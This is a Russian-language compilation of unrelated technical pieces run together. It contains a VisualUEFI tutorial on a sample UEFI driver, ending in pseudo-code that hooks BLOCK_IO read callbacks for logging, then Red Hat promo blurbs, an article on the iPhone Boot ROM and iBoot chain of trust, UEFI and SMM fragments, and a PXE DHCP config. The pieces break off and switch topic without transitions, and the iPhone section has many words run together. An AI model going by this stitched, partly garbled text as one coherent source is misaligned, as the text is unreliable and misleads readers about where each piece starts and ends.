Соберем EDKII. Для этого открываем EDK-II.sln из \VisualUefi\EDK-II, и просто жмем build на решении. Все проекты в решении должны успешно собраться, и можно переходить к уже готовым примерам. Открываем samples.sln из \VisualUefi\samples. Жмем build на приложении и драйвере, после чего можно запускать QEMU простым нажатием F5.
Проверяем наш UefiDriver и UefiApplication, именно так называются примеры в решении samples.sln.
Shell> fs1:FS1:\> load UefiDriver.efi
Отлично, драйвер не только собрался, но и успешно загрузился. Выполнив команду drivers, мы даже увидим его в списке.
Если бы в коде мы не возвращали EFI_ACCESS_DENIED в функции UefiUnload, мы бы даже смогли выгрузить наш драйвер, выполнив команду:
FS1:\> unload BA
Теперь вызовем наше приложение:
FS1:\> UefiApplication.efi
Рассмотрим код предоставленного нам драйвера. Все начинается с функции UefiMain, которая находится в файле drvmain.c. Мы бы могли назвать точку входа и другим именем, если бы писали драйвер с нуля, указать это можно было бы в .inf файле.
EFI_STATUSEFIAPIUefiUnload ( IN EFI_HANDLE ImageHandle ){ // // Do not allow unload // return EFI_ACCESS_DENIED;}EFI_STATUSEFIAPIUefiMain ( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable ){ EFI_STATUS efiStatus; // // Install required driver binding components // efiStatus = EfiLibInstallDriverBindingComponentName2(ImageHandle, SystemTable, &gDriverBindingProtocol, ImageHandle, &gComponentNameProtocol, &gComponentName2Protocol); return efiStatus;}
В проекте от нас не требуют регистрировать Unload функцию, так как VisualUEFI это и так уже делает под капотом, нужно просто её объявить. В примере она в этом же файле и называется UefiUnload. В этой функции мы можем написать код, который освободит все занятые нами ресурсы, так как она будет вызвана при выгрузке драйвера. Регистрация Unload функции в проекте VisualUEFI происходит в файле DriverEntryPoint.c, в функции _ModuleEntryPoint.
// _DriverUnloadHandler manages to call UefiUnloadStatus = gBS->HandleProtocol ( ImageHandle, &gEfiLoadedImageProtocolGuid, (VOID **)&LoadedImage );ASSERT_EFI_ERROR (Status);LoadedImage->Unload = _DriverUnloadHandler;
В нашем примере, в функции UefiMain, происходит вызов функции EfiLibInstallDriverBindingComponentName2, которая регистрирует имя нашего драйвера и Driver Binding Protocol. Согласно модели драйверов UEFI, все драйвера устройств должны регистрировать этот протокол для предоставления контроллеру функций Support, Start, Stop. Функция Support отвечает, может ли наш драйвер работать с данным контроллером. Если да, то вызывается функция Start. Подробнее об этом хорошо описано в спецификации (раздел Protocols UEFI Driver Model). В нашем примере функции Support, Start и Stop устанавливают наш кастомный протокол. Его реализация в файле drvpnp.c:
//// EFI Driver Binding Protocol//EFI_DRIVER_BINDING_PROTOCOL gDriverBindingProtocol ={ SampleDriverSupported, SampleDriverStart, SampleDriverStop, 10, NULL, NULL};//// Install our custom protocol on top of a new device handle//efiStatus = gBS->InstallMultipleProtocolInterfaces(&deviceExtension->DeviceHandle, &gEfiSampleDriverProtocolGuid, &deviceExtension->DeviceProtocol, NULL);//// Bind the PCI I/O protocol between our new device handle and the controller//efiStatus = gBS->OpenProtocol(Controller, &gEfiPciIoProtocolGuid, (VOID**)&childPciIo, This->DriverBindingHandle, deviceExtension->DeviceHandle, EFI_OPEN_PROTOCOL_BY_CHILD_CONTROLLER);
Фукнция EfiLibInstallDriverBindingComponentName2 реализована в файле UefiDriverModel.c, и, на самом деле, очень простая. Она вызывает InstallMultipleProtocolInterfaces из Boot Services (см. Спецификацию стр 210). Данная функция связывает handle (в нашем случае ImageHandle, который мы получили на точке входа) и протокол.
// install component name and bindingStatus = gBS->InstallMultipleProtocolInterfaces ( &DriverBinding->DriverBindingHandle, &gEfiDriverBindingProtocolGuid, DriverBinding, &gEfiComponentNameProtocolGuid, ComponentName, &gEfiComponentName2ProtocolGuid, ComponentName2, NULL );
Соответственно, можно, и нужно, в момент выгрузки драйвера,
удалить установленные компоненты. Мы сделаем это в нашей функции
Unload. Теперь наш драйвер можно будет выгружать по
команде unload , или перед передачей управления в операционную
систему.
EFI_STATUSEFIAPIUefiUnload ( IN EFI_HANDLE ImageHandle ){ gBS->UninstallMultipleProtocolInterfaces( ImageHandle, &gEfiDriverBindingProtocolGuid, &gDriverBindingProtocol, &gEfiComponentNameProtocolGuid, &gComponentNameProtocol, &gEfiComponentName2ProtocolGuid, &gComponentName2Protocol, NULL ); // // Changed from access denied in order to unload in boot // return EFI_SUCCESS;}
Как вы могли заметить, в нашем коде мы взаимодействуем с UEFI через глобальное поле gBS (global Boot Services). Также, существует gRT (global Runtime Services), а вместе они являются частью структуры System Table. Источник.
gST = *SystemTable; gBS = gST->BootServices; gRT = gST->RuntimeServices;
Для работы с файлами нам понадобится Simple File System Protocol (см. Спецификацию стр 504). Вызвав функцию LocateProtocol, можно получить на него указатель, хотя более правильный способ перечислить все handles на устройства файловой системы с помощью функции LocateHandleBuffer, и, перебрав все протоколы Simple File System, выбрать подходящий, который позволит нам писать и читать в файл. Пример такого кода тут. А мы же воспользуемся способом проще. У протокола есть всего одна функция, которая позволит нам открыть том.
EFI_STATUSOpenVolume( OUT EFI_FILE_PROTOCOL** Volume){ EFI_SIMPLE_FILE_SYSTEM_PROTOCOL* fsProto = NULL; EFI_STATUS status; *Volume = NULL; // get file system protocol status = gBS->LocateProtocol( &gEfiSimpleFileSystemProtocolGuid, NULL, (VOID**)&fsProto ); if (EFI_ERROR(status)) { return status; } status = fsProto->OpenVolume( fsProto, Volume ); return status;}
Далее, нам необходимо уметь создавать файл и закрывать его. Воспользуемся EFI_FILE_PROTOCOL, в котором есть функции для работы с файловой системой (см. Спецификацию стр 506).
EFI_STATUSOpenFile( IN EFI_FILE_PROTOCOL* Volume, OUT EFI_FILE_PROTOCOL** File, IN CHAR16* Path){ EFI_STATUS status; *File = NULL; // from root file we open file specified by path status = Volume->Open( Volume, File, Path, EFI_FILE_MODE_CREATE | EFI_FILE_MODE_WRITE | EFI_FILE_MODE_READ, 0 ); return status;}EFI_STATUSCloseFile( IN EFI_FILE_PROTOCOL* File){ // flush unwritten data File->Flush(File); // close file File->Close(File); return EFI_SUCCESS;}
Для записи в файл нам придется вручную двигать каретку. Для этого будем спрашивать размер файла с помощью функции GetInfo.
EFI_STATUSWriteDataToFile( IN VOID* Buffer, IN UINTN BufferSize, IN EFI_FILE_PROTOCOL* File){ UINTN infoBufferSize = 0; EFI_FILE_INFO* fileInfo = NULL; // retrieve file info to know it size EFI_STATUS status = File->GetInfo( File, &gEfiFileInfoGuid, &infoBufferSize, (VOID*)fileInfo ); if (EFI_BUFFER_TOO_SMALL != status) { return status; } fileInfo = AllocatePool(infoBufferSize); if (NULL == fileInfo) { status = EFI_OUT_OF_RESOURCES; return status; } // we need to know file size status = File->GetInfo( File, &gEfiFileInfoGuid, &infoBufferSize, (VOID*)fileInfo ); if (EFI_ERROR(status)) { goto FINALLY; } // we move carriage to the end of the file status = File->SetPosition( File, fileInfo->FileSize ); if (EFI_ERROR(status)) { goto FINALLY; } // write buffer status = File->Write( File, &BufferSize, Buffer ); if (EFI_ERROR(status)) { goto FINALLY; } // flush data status = File->Flush(File);FINALLY: if (NULL != fileInfo) { FreePool(fileInfo); } return status;}
Вызываем наши функции и пишем случайные данные в наш файл:
EFI_STATUSWriteToFile( VOID){ CHAR16 path[] = L"\\example.txt"; EFI_FILE_PROTOCOL* file = NULL; EFI_FILE_PROTOCOL* volume = NULL; CHAR16 something[] = L"Hello from UEFI driver"; // // Open file // EFI_STATUS status = OpenVolume(&volume); if (EFI_ERROR(status)) { return status; } status = OpenFile(volume, &file, path); if (EFI_ERROR(status)) { CloseFile(volume); return status; } status = WriteDataToFile(something, sizeof(something), file); CloseFile(file); CloseFile(volume); return status;}
Есть альтернативный способ выполнить нашу задачу. В проекте VisualUEFI уже реализовано то, что мы написали выше. Мы можем просто подключить заголовочный файл ShellLib.h и вызвать в самом начале функцию ShellInitialize. Все необходимые протоколы для работы с файловой системой будут открыты, а функции ShellOpenFileByName, ShellWrite и ShellRead реализованы почти так же, как и у нас.
#include <Library/ShellLib.h>EFI_STATUSWriteToFile2( VOID){ SHELL_FILE_HANDLE fileHandle = NULL; CHAR16 path[] = L"fs1:\\example2.txt"; CHAR16 something[] = L"Hello from UEFI driver"; UINTN writeSize = sizeof(something); EFI_STATUS status = ShellInitialize(); if (EFI_ERROR(status)) { return status; } status = ShellOpenFileByName(path, &fileHandle, EFI_FILE_MODE_CREATE | EFI_FILE_MODE_WRITE | EFI_FILE_MODE_READ, 0); if (EFI_ERROR(status)) { return status; } status = ShellWriteFile(fileHandle, &writeSize, something); ShellCloseFile(&fileHandle); return status;}
Результат:
Код этого примера на github
Если мы хотим перейти в VMWare, то наиболее правильным будет модификация firmware с помощью UEFITool. Например тут демонстрируется как добавляют NTFS драйвер в UEFI.
Усложнить идею нашего драйвера и ближе подвести его под требования проекта Active Restore можно следующим образом: открыть протокол BLOCK_IO, заменить функции чтения на диск нашими функциями, которые запишут данные, читаемые с диска в лог и затем вызовут оригинальные функции. Сделать это можно следующим образом:
// just pseudo code...// open protocol to replace callbacksgBS->OpenProtocol( Controller, Guid, (VOID**)&protocol, DriverBindingHandle, Controller, EFI_OPEN_PROTOCOL_GET_PROTOCOL );// raise Task Priority Level to max avaliablegBS->RaiseTPL(TPL_NOTIFY);VOID** protocolBase = EFI_FIELD_BY_OFFSET(VOID**, FilterContainer, 0);VOID** oldCallback = EFI_FIELD_BY_OFFSET(VOID**, *protocolBase, oldCallbackOffset);VOID** originalCallback = EFI_FIELD_BY_OFFSET(VOID**, FilterContainer, originalCallbackOffset);// yes, I know that it is not super obvious// but if first and third is equal (placeholder and function)// then the first one is not the function it is offset!// and function itself is by offset of third oneif ((UINTN) newCallback == originalCallbackOffset){ newCallback = *originalCallback;}PRINT_DEBUG(DEBUG_INFO, L"[UefiMonitor] 0x%x -> 0x%x\n", *oldCallback, newCallback);//saving original functions*originalCallback = *oldCallback;//replacing them by filter function*oldCallback = newCallback;// restore TPLgBS->RestoreTPL(oldTpl);
Нужно будет не забыть подписаться на ExitBootServices(), чтобы вернуть указатели на место. После того, как фильтр файловой системы в Windows будет готов, минифильтр продолжит логировать чтение с диска.
// event on exitgBS->CreateEvent( EVT_SIGNAL_EXIT_BOOT_SERVICES, TPL_NOTIFY, ExitBootServicesNotifyCallback, NULL, &mExitBootServicesEvent );
Но это это уже идеи для будущих статей. Спасибо за внимание.
И вновь мы приготовили для вас много инсайтов, мероприятий, книжек и шпаргалок. Оставайтесь с нами станьте частью DevNation!
Делаем свой личный Флайтрадар на Raspberry
Pi
Еще понадобится
недорогое USB-радио, антенна и опенсорный софт.
Опенсорсные инструменты для управления
проектами
Открытые
альтернативы Microsoft Project для профессиональной работы с
большими проектами.
Шпаргалка по Linux-команде
sed
SED (Stream EDitor)
это потоковый текстовый редактор, который построчно обрабатывает
входной поток (файл).
Бесплатный Developer Sandbox for
OpenShift
Это ваш
личный OpenShift в облаке, всего за пару минут и без какой бы то ни
было инсталляции. Среда создана специально для разработчиков и
включает в себя Helm-диаграммы, builder-образы Red Hat, инструменты
сборки s2i, также CodeReady Workspaces, облачную IDE с
веб-интерфейсом.
Виртуальный Red Hat Summit 2021, 27-28
апреля
Бесплатная
онлайн-конференция Red Hat Summit это отличный способ узнать
последние новости ИТ-индустрии, задать свои вопросы техническим
экспертам, услышать истории успеха непосредственно от заказчиков
Red Hat и увидеть, как открытый код генерирует инновации в
корпоративном секторе
Здравствуйте, коллеги.
Мне показалось интересным поделиться ссообществом информацией овнутреннем устройстве техники Apple, так как статей наэту тему крайне мало. Начать ярешил сiPhone. Поэтому предлагаю вам вместе сомной попробовать разобраться вработе этого загадочного девайса.
Япопытаюсь ориентироваться насамые последние модели. Буду рад, если ваши комментарии укажут наошибки ипомогут нам всем лучше понять, как работают устройства, которые нас окружают.
Незнаю, удивит это кого-нибудь или нет, нозапуск iPhone мало чем отличается отпроцесса запуска IBM-PC-совместимого компьютера ввиде системного блока под столом, окотором написано уже достаточно много. Наверное поэтому так мало статей наподобную тематику, относящихся кмобильным устройствам.
Если смотреть напроцесс запуска iPhone, как нацелостную картину, тоонпредставляет собой цепочку доверительных переходов отодной стадии загрузки кдругой, которая так иназывается Chain oftrust. Вобщем случае, впроцессе участвуют 3независимых программы: Boot ROM, iBoot иядро XNU (расположены впорядке выполнения). Передача управления отодного кдругому происходит после проверки подлинности того, кому управление следует передать. Каждый изних имеет криптографическую подпись Apple. Возникает резонный вопрос: как проверяется подлинность первого шага? Ответ: никак.
Самым первым получает управление Boot ROM. Онявляется неизменяемым компонентом системы, прошивается назаводе-изготовителе ибольше неменяется. Его невозможно обновить (вотличие отBIOS иUEFI). Следовательно, нет смысла проверять его подлинность. Поэтому онимеет соответствующий статус: Аппаратный корень доверия (Hardware root oftrust). Впамять Boot ROM вшивается публичный ключ корневого сертификата Apple (Apple Root certificate authority (CA) public key), спомощью которого проверяется подлинность iBoot. Всвою очередь iBoot проверяет своим ключом подлинность ядра XNU. Такая цепочка проверок позволяет запускать только доверенноеПО.
Chain of trustПоестественным причинам, слабым местом вэтой цепочке является код Boot ROM. Именно засчет уязвимостей вэтой части системы иневозможности еёобновить, удаётся обходить проверку подлинности ипроизводить Jailbreak (побег изтюрьмы). Поэтому разработчики Boot ROM стараются невключать внего лишний функционал. Тем самым сокращается вероятность возникновения ошибок вкоде, поскольку оностается минималистичным. Собранный образ имеет размер около 150Кбайт. Каждый этап отрабатывает независимо отдругих, позаранее известным адресам ивыполняет четко обозначенную задачу. Несмотря наэто прошивка Boot ROM иiBoot компилируются изодной кодовой базы. Поэтому имеют схожие подсистемы. Они делят между собой базовые драйверы устройств (AES, ANC, USB), примитивные абстракции (подсистема задач, куча), библиотеки (env, libc, image), средства отладки иплатформозависимый код (работа сSoC, MMU, NAND). Каждый последующий элемент цепочки является более сложной системой, чем предыдущий. Например iBoot уже поддерживает файловые системы, работу сизображениями, дисплей ит.д.
Для лучшего понимания описываемых компонентов приведу таблицу.
Задача |
Проверка подписи |
Известные аналоги |
Место исполнения |
|
1. Boot ROM |
Найти загрузчик и передать ему управление |
Нет |
BIOS, UEFI, coreboot |
SRAM |
2. iBoot |
Найти ОС и инициировать её загрузку |
Да |
GNU GRUB, Windows Bootmgr, efibootmgr |
SDRAM |
3. XNU |
Обеспечить безопасный интерфейс к железу |
Да |
Linux, NT kernel, GNU Hurd |
SDRAM |
4. iOS |
Выполнение пользовательских задач |
Нет |
Ubuntu, Windows, Android |
SDRAM |
При выключенном устройстве отсутствует подача питания нацентральный процессор. Однако критически важные компоненты системы обеспечиваются энергией постоянно (контроллеры беспроводного сетевого соединения невходят всписок важных, поэтому смартфон неможет передавать никаких, втом числе секретных, данных ввыключенном состоянии исоответственно отследить его невозможно). Одним изтаких компонентов является интегральная схема управления питанием (PMIC Power Management Integrated Circuit). Вкачестве источника питания для PMIC может служить аккумулятор сзарядом, внешний источник, соединенный разъемом Lightning, или беспроводное зарядное устройство (посредством электромагнитной индукции). Нодля успешной загрузки операционной системы требуется наличие заряда наисправном аккумуляторе. Хотя теоретически устройство может функционировать подпитывая себя исключительно внешними источниками. Кроме этого укаждого источника питания имеется свой отдельный контроллер, новконтексте этой статьи ихдостаточно лишь иметь ввиду.
Для подачи питания нацентральный процессор PMIC должен получить сигнал настарт процедуры Power-On. Подать такой сигнал можно двумя способами: подключив устройство квнешнему источнику питания или спомощью боковой кнопки (длинным нажатием). Рассмотрим более детально классический способ включения нажатием кнопки.
Исторически так сложилось, что для запуска портативных устройств используется длинное нажатие. Вероятно, это сделано для защиты отслучайного включения-выключения устройства. Вцелом, ничто немешает использовать короткое нажатие для достижения тойже цели. Можно вспомнить, что если попытаться науже работающем устройстве нажать боковую кнопку тем идругим способом, товрезультате мыполучим отклик насовершенно разные действия. Изэтого мыможем сделать вывод, что существует механизм, который обеспечивает такую возможность. Обычно втандеме сPMIC используется небольшой Side-Button контроллер, взадачи которого, среди прочего, входит: отличить метод нажатия накнопку (длинный откороткого). Контроллер кнопки может питаться оттогоже источника, что иPMIC или отсамого PMIC. Контроллер может быть выполнен ввиде D-триггера сасинхронным сбросом. Висходном состоянии наасинхронный вход сброса CLR поступает сигнал. Всвою очередь, наэтом входе установлена RC-цепь, реализующая постоянную времени задержки.
Приблизительная схема работы боковой кнопкиПростым нажатием кнопки мызамыкаем электрическую цепь триггера, инавыход CTLx подаётся результирующий сигнал по-умолчанию. Для подачи сигнала наинициализацию запуска устройства время удержания кнопки питания должно превышать время задержки асинхронного сброса. Вовремя удержания кнопки сигнал наCLR входе затухает, ипри очередном такте синхронизирующего сигнала CLK триггер меняет свое состояние, выдавая навыходе CTLx другое значение, сообщающее PMIC начать процедуру запуска устройства посредством подачи питания нацентральный процессор.
Массовое производство высокотехнологичных полупроводниковых устройств иподдержание самих фабрик поихизготовлению является довольно дорогой задачей. Поэтому вмире современи массовой популярности технологий, основанных наполупроводниковых устройствах, существует тенденция заключения контракта сфирмами, специализирующимися именно напроизводстве полупроводников, для которых такая контрактная работа иявляется бизнесом. Фабрики таких фирм-изготовителей чаще всего находятся встранах сотносительно дешевой рабочей силой. Поэтому для изготовления систем накристалле (System onaCrystal SoC) уApple заключен многолетний контракт сизготовителем полупроводниковых устройств изТайваня TSMC (Taiwan Semiconductor Manufacturing Corporation). Инженеры Apple проектируют, разрабатывают ипрограммируют устройства, тестируют ихиспользуя опытное производство. Затем составляется спецификация, покоторой компания-изготовитель должна будет произвести ипоставить оговоренное количество экземпляров. При этом, все права целиком иполностью принадлежат компании Apple.
SoC инкапсулирует всебя множество электронных элементов составляющих аппаратный фундамент устройства. Среди которых, непосредственно, центральный процессор, оперативная память, графический процессор, ИИ-ускоритель, различные периферийные устройства идругие. Имеется также исвой контроллер питания. При достижении стабильного уровня напряжения наконтроллере питания SoC запитываются внутренние компоненты. Практически каждый микропроцессор имеет специальное устройство для сброса текущих параметров иустановки ихвисходное состояние. Такое устройство называется генератор начального сброса (Power-on reset/ PoR generator). Восновные задачи этого генератора входят: ожидание стабилизации питания, старт тактовых генераторов исброс состояний регистров. PoR генератор продолжает держать процессор врежиме сброса некоторое непродолжительное время, которое заранее известно.
Процедура Power-on resetПоскольку вэтом случае мыимеем дело сещё одним таймером, томожно предположить, что это также некая RC-цепь стриггером. Подостижении установленного порога напряжения наэтой цепи триггер меняет состояние (таким образом заканчивается таймаут сброса), PoR генератор становится неактивным, центральный процессор выходит изрежима сброса иначинает свою работу.
Центральный процессор должен начать работу свыполнения
определенной программы. Для этого ему необходимо знать, где искать
эту программу. Своей работой PoR генератор установил регистры
взначения по-умолчанию (исходные значения). Врегистр счетчика команд (Program
Counter/PC register) установился адрес первой инструкции
впространстве физической памяти. Это значение называется
вектором сброса (Reset vector). Конкретное
значение вектора сброса определяется микроархитектурой процессора
итеоретически может различаться среди разных поколений процессоров,
новнашем случае это адрес 0100000000
. Нааппаратном
уровне определенные диапазоны адресов закреплены зафизическими
устройствами хранения исоставляют вместе физическое адресное
пространство (непутать свиртуальным адресным пространством,
которое доступно изоперационной системы). Впроцессе дальнейшего
запуска устройства диапазон адресов может быть переназначен
впроизвольном порядке для более эффективной работы спамятью.
Следует заметить, что современные процессоры имеют несколько ядер, каждое изкоторых может независимо исполнять инструкции. Чтобы избежать неопределенности, какое изядер должно начать выполнение первой инструкции, производитель нааппаратном уровне выделяет основное ядро (primary core), которое ибудет производить загрузку. Вдальнейшем остальные ядра подключаются кработе программно.
Обычно вектор сброса указывает наячейку впостоянной памяти (Read only memory ROM). Она располагается внутри SoC. Эта память является энергонезависимой (сохраняет свое состояние после отключения питания) инеперезаписываемой (код программы прошивается туда единожды при производстве устройства). Записанная при производстве программа иявляется отправной точкой работы центрального процессора. Модуль постоянной памяти исама программа, записанная туда называются Boot ROM. Рассмотрим его задачи иработу более подробно.
Как упоминалось ранее, Boot ROM это чип, включаемый внутрь SoC.
Наэтапе изготовления нафабрике вего память записывается специальная
программа-загрузчик. Загрузчик проектируется ипрограммируется
вApple. Код написан наязыке Cс вызовами
ассемблерных процедур, выполняющих машинно-зависимые команды
процессора. Понулевому адресу впространстве памяти Boot ROM,
скоторого иначнет выполнение процессор, располагается входная точка
скомпилированной программы-загрузчика, аименно стандартная метка
_start
. Код, скоторого всё начинается, полностью
состоит изассемблерных инструкций arm64. Онпроизводит
следующие действия:
Включается кэш второго уровня (L2 cache) и конфигурируется для использования в качестве временной оперативной памяти (объем 2 MiB).
Поскольку диапазон рабочих адресов памяти статически определен, выполняется проверка текущего адреса. Если он неверен, то запускается цикл релокации на корректный адрес.
Устанавливается виртуальный адрес функции main
(начало кода на языке C) в регистр LR.
Так что при выполнении инструкции ret
управление
перейдет в функцию main
.
Инициализируются указатели на начало стека. Задаются адреса для стека исключений, прерываний, данных.
Создаются таблицы страниц и создаётся защита кучи от переполнения.
Происходит копирование данных в оперативную память, а затем
передача управления в функцию main
.
Практически весь код, который будет исполняться дальше, написан наязыкеC.
Сперва функция main
запускает процедуру программной
инициализации CPU.
Стоит отдельно оговорить, что процессор имеет несколько уровней
привилегий для выполнения инструкций, называемых Exception
Levels (EL): EL0, EL1, EL2, EL3. Цифра наконце обозначает
уровень привилегий. Чем она выше тем выше уровень доступа. Внутри
операционной системы пользователь имеет самый низкий уровень
привилегий инеможет полностью управлять состоянием машины (вцелях
собственнойже безопасности). Множество регистров икоманд
недоступно. Однако поначалу, процессор начинает работу ссамого
высокого уровня привилегий, поэтому загрузчик может успешно
произвести начальную настройку оборудования.
Возвращаясь кпроцедуре программной инициализации CPU опишем
еёосновные шаги.
Конфигурация регистра безопасности (Secure Configuration Register - SCR): выставляются биты стандартных режимов работы для обработчика аварийного завершения и обработчиков аппаратных прерываний (FIQ и IRQ).
Сброс кэшей процессора для инструкций и данных.
Конфигурация регистра управления системой (System Control Register: SCTLR): включается бит проверки выравнивания стека, первичная настройка и активация блока управления памятью (Memory Management Unit - MMU, является частью CPU), отключение возможности выполнения кода из сегментов памяти, помеченных как доступные для записи (установка Execute Never / XN бита аналог NX-бита в x86 системах), активация кэша инструкций и кэша данных.
Активируется сопроцессор для операций с плавающей точкой.
Управление возвращается вфункцию main
,
ипродолжается работа загрузчика.
Следующим шагом происходит программная настройка тактовых генераторов взначения по умолчанию:
Устанавливается частота осциллятора контроллера питания.
Инициализация подсистемы динамического масштабирования частоты и напряжения (DVFS - Dynamic voltage and frequency scaling).
Подача питания на осцилляторы устройств, участвующих в загрузке BootROM.
Подстановка характеристик частоты и напряжения для режима BootROM.
Настройка подсистемы фазовой автоподстройки частоты (PLL - Phase Lock loop).
Происходит включение сопроцессора защищенного анклава (SEP - Secure Enclave processor).
Сопроцессор защищенного анклава имеет свою собственную прошивку (sepOS), которая также проходит стадии безопасной загрузки ипроверки наподлинность. Нообэтом вдругой статье.
Далее следует инициализация шины внутренней памяти процессора (онаже кэш-память). Роль кэш памяти играет статическая памяти спроизвольным доступом (Static Random Access Memory SRAM). Непутать сдинамическим типом памяти, которую мыназываем оперативной. Она обладает большим объемом (Dynamic Random Access Memory DRAM). Различие втом, что ячейки SRAM основаны натриггерах, ауDRAM наконденсаторах. Память натриггерах требует большее количество транзисторов исоответственно занимает больше места наподложке. Всвою очередь, ячейки памяти наконденсаторах современем теряют заряд. Поэтому необходимо периодически производить холостую перезапись вфоновом режиме, что несколько влияет набыстроту взаимодействия. Таким образом SRAM используется вкачестве кэша (небольшой объем, быстрый доступ), аDRAM вкачестве основной памяти (больший объем, быстродействие вторично). НаSoC инициализируются линии контактов GPIO (General Purpose Input/Output) исоответствующий драйвер. Спомощью этих контактов следующим этапом, помимо прочего, проверяется состояние кнопок устройства, нажатие которых определяет необходимость принудительной загрузки вDFU режиме (Device Firmware Upgrade mode режим обновления прошивки устройства или восстановления). Описание работы этого режима заслуживает отдельной статьи, поэтому небудем касаться его сейчас.
Представляя собой минималистичную разновидность базовой системы ввода/вывода (BIOS), Boot ROM выделяет соответствующие абстракции: подсистема задач (аналог процессов) икуча (heap). Ипроизводит ихинициализацию. Подсистема задач позволяет выполнять инструкции внесколько потоков, хотя эта возможность неиспользуется вBoot ROM.
Идем дальше: инициализация аппаратного обеспечения, специфичного для конкретной SoC. Для последних моделей iPhone приблизительный список таков:
Инициализация драйвера контроллера питания
Инициализация драйвера системных часов
Инициализация контроллера прерываний
Старт таймеров
Настройка контроллера питания и GPIO контактов для конкретной платформы
Настройка необходимого для старта оборудования выполнена, изапущены основные подсистемы. Затем выполняется программная проверка принудительной загрузки вDFU режиме. Наэтот раз таймер наотслеживание удержания соответствующих кнопок задается программно, после чего снимаются ихсостояния, ивзависимости отрезультата выполняется сброс системы напоследующую загрузку вDFU режиме, либо происходит выборка устройства, скоторого дальше производить загрузку.
Процесс запуска заходит вбесконечный цикл, вкотором можно задержаться неболее двух итераций. Если установлен DFU флаг, товкачестве устройства загрузки выбирается режим восстановления поUSB, иначе будет произведена загрузка сустройства по-умолчанию для конкретной платформы (внашем случае NAND флэш память).
if (dfu_enabled) boot_fallback_step = -1;while (1) { if (!get_boot_device(&device, &options)) break; process_boot(device, options); if (boot_fallback_step < 0) continue; boot_fallback_step++;}reset();
Устройство может впасть вбесконечный цикл перезагрузки, если невозможно определить конфигурацию выборки дальнейшего загрузчика (такое может произойти только если оборудование физически повреждено). При возникновении любой другой проблемы, устройство будет переведено врежим восстановления поUSB. Отсюда следует, что при исправном оборудовании невозможно сделать изустройства кирпич.
Apple использует особый формат файлов для хранения примитивных исполняемых файлов IMG4 (четвертая версия). Онпредставляет собой закодированные поDER схеме объекты стандарта ASN.1.
sequence [ 0: string "IMG4" 1: payload - IMG4 Payload, IM4P 2: [0] (constructed) [ manifest - IMG4 Manifest, IM4M ]]
sequence [ 0: string "IM4P" 1: string type - ibot, rdsk, sepi, ... 2: string description - 'iBoot-6723.102.4' 3: octetstring - the encrypted/raw data 4: octetstring - containing DER encoded KBAG values (optional) sequence [ sequence [ 0: int: 01 1: octetstring: iv 2: octetstring: key ] sequence [ 0: int: 02 1: octetstring: iv 2: octetstring: key ] ]]
Активируется утилита управления устройствами
(UtilDM Utility Device Manager), инициализируются
ANC (Abstract NAND Chip) драйвер ипроизводится
сброс регистров контроллера флэш памяти. Затем дается команда NAND
контроллеру перевести устройство врежим чтения, после чего изего
памяти постранично считывается загрузчик iBoot. Изпрочитанных
байтов генерируется экземпляр структуры файла образа IMG4.
Экземпляр содержит заголовки, служебную информацию иуказатель насам
образ впамяти. Дальше поэтому указателю происходит обращение,
ивыгрузка образа вбезопасный буфер. Там
выполняется парсинг ивалидация образа. Изтекущих параметров системы
собирается специальный объект окружение
(environment) исопоставляется схарактеристиками образа. Проверяются
заголовки, манифест, сравниваются хэши, происходит проверка подписи
образа попубличному ключу Boot ROM (Apple Root CApublic
key).
Если все прошло успешно, тонаступает заключительный этап работы
Boot ROM. Создается функция-трамплин, позволяющая
выполнить безусловный переход кначалу iBoot. Поскольку никакая
информация недолжна быть передана наследующую стадию запуска
устройства, иневозможно былобы вернуться назад, перед прыжком
функции-трамплина сбрасываются значения регистров, отключается
кэширование, прерывания, таймеры ит.д.
iBoot начнет свою работу практически счистого листа, словно
онпервый вэтой цепочке.
Наэтом все. Вследующей части мыпопробуем разобраться как работает второй этап загрузки iPhone iBoot.
Спасибо за внимание.
Источники:
Apple: Boot process for iOS
and iPad devices
Apple: Hardware security
overview
Design & Reuse: Method for
Booting ARM Based Multi-Core SoCs
Maxim integrated: Power-on
reset and related supervisory functions
The iPhone
wiki
ARM:
Documentation
Jonathan Levin: MacOS and *OS
internals
Wikipedia
Алиса Шевченко: iBoot address
space
Harry Moulton: Inside XNU
Series
Ilhan Raja:
checkra1n
Texas Instruments:
Push-Button Circuit
iFixit: iPhone 12 and 12 Pro
Teardown
Исходные коды SecureROM и iBoot, утекшие в сеть в феврале 2018
года
В соответствии с принятой терминологией ядро/поток процессора здесь и далее будет называться процессором: начальным (bootstrap processor) или прикладным (application processor).Как и в Legacy, процессор начинает выполнять первую инструкцию в конце адресного пространства по адресу 0xFFFFFFF0. Эта инструкция прыжок на первую фазу инициализации платформы SEC.
Состояние S3 (Suspend to RAM) это состояние сна, при котором процессор и часть чипсета отключаются с потерей контекста. При пробуждении из такого состояния процессор начинает выполнение как при обычном включении. Но вместо полной инициализации и прохождения всех тестов система ограничивается восстановлением состояния всех устройств.При запуске из любого другого состояния управление передается в фазу Driver Execution Environment.
В UEFI нет специализированной фазы, где оборудование проходит POST (Power-On Self-Test). Вместо этого каждый модуль PEI и DXE фазы проводит свой набор тестов и сообщает об этом с помощью POST-кодов пользователю и с помощью HOB в следующие фазы.Среди множества загружаемых драйверов на процессорах x86_64 стоит уделить внимание драйверу System Management Mode Init (SMM Init). Этот драйвер подготавливает все для работы режима системного управления (System Management Mode, SMM). SMM это особый привилегированный режим, который позволяет приостановить выполнение текущего кода (в т.ч. операционную систему) и выполнить программу из защищенной области памяти SMRAM в собственном контексте.
Режим SMM неофициально считается кольцом защиты с номером -2. Ядро ОС работает на 0 кольце, а более ограниченные в правах кольца защиты имеют номер от 1 до 3. Официально нулевое кольцо считается наиболее привилегированным. Тем не менее, гипервизор с аппаратной виртуализацией условно называют кольцом -1, а Intel ME и AMD ST кольцом -3.Дополнительно отметим модуль Compatibility Support Module (CSM), который обеспечивает совместимость с Legacy и позволяет загружать ОС без поддержки UEFI. Позднее мы рассмотрим этот модуль подробнее.
option domain-name "provisioner";option domain-name-servers 8.8.8.8;default-lease-time 600;max-lease-time 7200;log-facility local7;authoritative;subnet 192.168.30.0 netmask 255.255.255.0 { range 192.168.30.100 192.168.30.200; option subnet-mask 255.255.255.0; option domain-name-servers 192.168.30.1; option domain-name "prod.provisioner"; option domain-search "prod.provisioner"; option broadcast-address 192.168.30.255; # Имя файла-загрузчика filename "pxelinux.0"; # Адрес сервера, откуда будет браться загрузчик next-server 192.168.30.1;}
